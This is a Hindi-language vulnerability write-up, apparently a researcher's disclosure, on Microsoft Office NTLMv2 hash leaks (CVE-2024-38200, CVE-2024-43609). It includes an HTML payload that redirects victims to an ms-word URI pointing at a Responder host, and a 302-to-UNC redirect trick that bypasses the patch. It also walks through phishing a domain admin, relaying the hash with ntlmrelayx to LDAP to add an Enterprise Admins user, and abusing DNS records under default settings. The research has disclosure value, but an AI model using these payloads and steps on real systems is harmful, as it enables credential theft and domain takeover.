
CVE-2024-38200 & CVE-2024-43609 - Microsoft Office NTLMv2 प्रकटीकरण भेद्यता
HTTP विधि के ऊपर NTLMv2 हैश कैप्चर करना ठीक नहीं किया गया था। NTLMv2 हैश मान अभी भी HTTP के ऊपर प्राप्त किया जा सकता है और LDAP या ADCS पर रिले किया जा सकता है। MSRC ने इस स्थिति को "जैसा प्रस्तुत किया गया है यह वर्तमान डिज़ाइन का हिस्सा प्रतीत होता है" कहा।
भले ही यह भेद्यता ठीक कर दी गई हो, जैसा कि Integrated Windows Authentication अनुभाग में कहा गया है, हैश मान अभी भी डिफ़ॉल्ट सेटिंग्स के साथ प्राप्त और रिले किया जा सकता है।
पहले, Office URI स्कीम्स का उपयोग करके SMB के ऊपर NTLMv2 हैश कैप्चर करने की एक विधि साझा की गई थी। मुख्य विचार सरल था। नीचे दिए गए HTML फ़ाइल का URL पीड़ित को भेजें और SMB के ऊपर NTLMv2 हैश कैप्चर करें। LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
यह मेरे लिए प्रेरणा बिंदु है। यदि हम Office URI Schemes पृष्ठ देखें, तो हम URI स्कीम के भीतर https:// प्रोटोकॉल का उपयोग देख सकते हैं। यह स्थिति इंगित करती है कि http:// का भी संभावित रूप से उपयोग किया जा सकता है। डोमेन कंट्रोलर सर्वर के विरुद्ध NTLM रिलेइंग हमला करने के लिए HTTP के ऊपर NTLMv2 हैश कैप्चर करना SMB के ऊपर कैप्चर करने की तुलना में अधिक लाभप्रद है Relaying Chart।
जब मैंने ms-word:ofe|u|http://test.local:8080/leak/leak.docx URI का उपयोग Office 2016 MSO (16.0.4266.1001) 32-bit के विरुद्ध किया, तो उपयोगकर्ता को दुर्भावनापूर्ण गतिविधि से बचाने के लिए एक चेतावनी बॉक्स दिखाई दिया, लेकिन मैं Microsoft 365 Office और Office 2019 के लिए ऐसा नहीं कह सकता। ये संस्करण बिना चेतावनी के किसी दूरस्थ Office फ़ाइल तक पहुंचते हैं और SMB और HTTP प्रोटोकॉल के ऊपर NTLMv2 हैश कैप्चर करने के लिए उनका शोषण किया जा सकता है।

मैंने पाया कि CVE-2024-38200 के लिए पैच सही ढंग से लागू नहीं किया गया था। पैच प्रकाशित होने के बाद, मैंने Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) और Microsoft 365 MSO 2408 Build 16.0.17928.20114 के विरुद्ध भेद्यता का परीक्षण किया और निर्धारित किया कि भेद्यता का अभी भी शोषण किया जा सकता है जैसा कि नीचे दिखाया गया है CVE-2024-43609 ।
जब कोई Office एप्लिकेशन Office URI स्कीम्स (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) के माध्यम से अनुरोध करता है, तो हम HTTP अनुरोध को 302 रीडायरेक्ट के साथ UNC पथ पर रीडायरेक्ट कर सकते हैं। uncredirect.py स्क्रिप्ट HTTP अनुरोध को संभालती है जो MS Office URI स्कीमा के साथ भेजा जाता है और इसे UNC पथ पर रीडायरेक्ट करती है जिसमें Responder का IP पता शामिल होता है। यह स्थिति SMB के ऊपर NTLMv2 हैश कैप्चर करना संभव बनाएगी और ms-word:ofe|u|\\<responder ip>\leak\leak.docx URI के लिए सुरक्षा प्रतिबंध को बायपास कर देगी।

uncredirect.py और responder चालू करें।office.html फ़ाइल का URL पीड़ित उपयोगकर्ता को भेजें।https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
LDAP रिले करने के लिए HTTP के ऊपर NTLMv2 हैश कैप्चर करना SMB के ऊपर कैप्चर करने की तुलना में अधिक लाभप्रद है। जब किसी Office URI के माध्यम से फ़ाइल का अनुरोध किया जाता है, तो NTLMv2 हैश 302 रीडायरेक्ट का उपयोग करके UNC पथ पर रीडायरेक्ट किए बिना HTTP के ऊपर प्राप्त किया जा सकता है। यह शोषण विधि इंटरनेट पर नहीं की जा सकती क्योंकि, जब तक इंटरनेट प्रॉपर्टीज़ में कोई गलत कॉन्फ़िगरेशन न हो, कॉर्पोरेट नेटवर्क के बाहर किसी होस्ट के लिए HTTP के ऊपर NTLM प्रमाणीकरण नहीं होगा।
हालाँकि, मेरा मानना है कि यह रिलेइंग हमले और विशेषाधिकारों को बढ़ाने के लिए एक प्रभावी तरीका है।
"इंटरनेट प्रॉपर्टीज़" सेटिंग्स Office अनुप्रयोगों के NTLM प्रमाणीकरण व्यवहार को प्रभावित करती हैं। हम इसे कुछ उदाहरणों के साथ देख सकते हैं। मान लें कि हम NTLMv2 हैश कैप्चर करने के लिए ms-excel:ofe|u|http://192.168.1.7/leak.xlsx URI प्रारूप का उपयोग कर रहे हैं।
जब नीचे सूचीबद्ध GPO में से एक डोमेन-जॉइन की गई पीड़ित मशीन पर लागू किया जाता है, तो Office एप्लिकेशन स्वचालित रूप से प्रमाणीकरण करता है।
इंटरनेट ज़ोन में यूज़र ऑथेंटिकेशन के लिए Automatic logon with current user name and password सेट हैLocal Intranet की साइटों में एक सबनेट या IP पता श्रेणी जोड़ी गई है (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Trusted sites में एक सबनेट या IP पता श्रेणी जोड़ी गई है (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) और Trusted Sites ज़ोन में यूज़र ऑथेंटिकेशन के लिए Automatic logon with current user name and password सेट है
ऐसे मामले में जहां ऊपर उल्लिखित GPO में से एक लागू किया गया है, पीड़ित उपयोगकर्ता द्वारा URI पर क्लिक करने के बाद, leak.docx फ़ाइल Office एप्लिकेशन द्वारा हमलावर के सर्वर से लाई जाएगी और NTLMv2 हैश प्राप्त होगा क्योंकि लागू GPO के कारण NTLM प्रमाणीकरण स्वचालित रूप से होता है।

GPO का दुरुपयोग करने के लिए उदाहरण परिदृश्य:
Office URI को IP पते के साथ सेट करने के बाद (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), हम office.html का URL डोमेन एडमिन विशेषाधिकारों वाले उपयोगकर्ता को भेज सकते हैं और ntlmrelayx का उपयोग करके कैप्चर किए गए हैश को LDAP(S) सर्वर पर रिले कर सकते हैं। केवल "Open" बटन पर क्लिक करने से ntlmrelayx एक नया उपयोगकर्ता बनाएगा और उसे Enterprise Admins समूह में जोड़ देगा।
नोट:
GPO के माध्यम से जोड़ी गई साइटों को निम्नलिखित रजिस्ट्री कुंजियों का उपयोग करके सूचीबद्ध किया जा सकता है।
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: इंटरनेट | 1: लोकल इंट्रानेट | 2: विश्वसनीय साइटें | 3: प्रतिबंधित साइटें
यदि ऊपर उल्लिखित GPO में से एक लागू नहीं है, तो NTLM प्रमाणीकरण स्वचालित रूप से नहीं होगा। हालाँकि, यदि हम एक DNS A रिकॉर्ड जोड़ते हैं और इस रिकॉर्ड का उपयोग Office URI के भीतर करते हैं, तो Windows होस्टनाम को इंट्रानेट ज़ोन का हिस्सा मानेगा। इस तरह, NTLMv2 प्रमाणीकरण स्वचालित रूप से होता है और एक सामान्य उपयोगकर्ता गलत कॉन्फ़िगर किए गए GPO की आवश्यकता के बिना विशेषाधिकार बढ़ा सकता है। सामान्य विशेषाधिकारों वाला कोई भी डोमेन उपयोगकर्ता एक गैर-मौजूद DNS रिकॉर्ड जोड़ सकता है इसलिए यह हमला डिफ़ॉल्ट सेटिंग्स के साथ डोमेन उपयोगकर्ता के लिए काम करता है।

office.html फ़ाइल को पीड़ित उपयोगकर्ता के लिए सुलभ किसी भी सर्वर से परोसा जा सकता है (e.g., https://office.com/office.html) । मैंने Apache के लिए पोर्ट 8081 सेट किया क्योंकि ntlmrelayx डिफ़ॉल्ट रूप से पोर्ट 80 का उपयोग करेगा। हम वैकल्पिक रूप से ntlmrelayx के साथ --http-port का उपयोग कर सकते हैं। office.html फ़ाइल के भीतर Office URI में जोड़ा गया रिकॉर्ड दर्ज करें।
